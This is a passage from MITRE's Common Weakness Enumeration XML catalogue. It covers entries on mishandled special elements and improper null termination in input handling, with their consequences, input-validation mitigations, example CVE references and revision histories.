               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Multiple Internal Special Elements</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Sanitize Multiple Internal Special Elements</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Multiple Internal Special Elements</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="166" Name="Improper Handling of Missing Special Element" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="159" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that special elements will be removed in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1362</Reference>
               <Description>Crash via message type without separator character</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1362</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0729</Reference>
               <Description>Missing special character (separator) causes crash</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0729</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1532</Reference>
               <Description>HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1532</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Missing Special Element</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Missing Special Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Handle Missing Special Element</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="167" Name="Improper Handling of Additional Special Element" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is provided.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="159" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that extra special elements will be injected in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0116</Reference>
               <Description>Extra "&lt;" in front of SCRIPT tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0116</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1157</Reference>
               <Description>Extra "&lt;" in front of SCRIPT tag.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1157</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2086</Reference>
               <Description>"&lt;script" - probably a cleansing error</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2086</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Extra Special Element</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Extra Special Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Handle Additional Special Element</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="168" Name="Improper Handling of Inconsistent Special Elements" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not properly handle input in which an inconsistency exists between two or more special characters or reserved words.</Description>
         <Extended_Description>An example of this problem would be if paired characters appear in the wrong order, or if the special characters are not properly nested.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="159" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Scope>Non-Repudiation</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Hide Activities</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that inconsistent special elements will be injected/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Inconsistent Special Elements</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Inconsistent Special Elements</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Resolve Inconsistent Special Elements</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="170" Name="Improper Null Termination" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.</Description>
         <Extended_Description>Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="707" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="120" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="126" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="147" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="464" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="463" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>The case of an omitted null character is the most dangerous of the possible issues. This will almost certainly result in information disclosure, and possibly a buffer overflow condition, which may be exploited to execute arbitrary code.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Read Memory</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Note>If a null character is omitted from a string, then most string-copying functions will read data until they locate a null character, even outside of the intended boundaries of the string. This could: cause a crash due to a segmentation fault cause sensitive adjacent memory to be copied and sent to an outsider trigger a buffer overflow when the copy is being written to a fixed-size buffer.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Misplaced null characters may result in any number of security problems. The biggest issue is a subset of buffer overflow, and write-what-where conditions, where data corruption occurs from the writing of a null character over valid data, or even instructions. A randomly placed null character may put the system into an undefined state, and therefore make it prone to crashing. A misplaced null character may corrupt other data in memory.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Scope>Other</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>Should the null character corrupt the process flow, or affect a flag controlling access, it may lead to logical errors which allow for the execution of arbitrary code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Use a language that is not susceptible to these issues. However, be careful of null byte interaction errors (CWE-626) with lower-level constructs that may be written in a language that is susceptible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that all string functions used are understood fully as to how they append null characters. Also, be wary of off-by-one errors when appending nulls to the end of strings.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If performance constraints permit, special code can be added that validates null-termination of string buffers, this is a rather naive and error-prone solution.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Switch to bounded string manipulation functions. Inspect buffer lengths involved in the buffer overrun trace reported with the defect.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Add code that fills buffers with nulls (however, the length of buffers still needs to be inspected, to ensure that the non null-terminated string is not written at the physical end of the buffer).</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code reads from cfgfile and copies the input into inputbuf using strcpy(). The code mistakenly assumes that inputbuf will always contain a NULL terminator.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
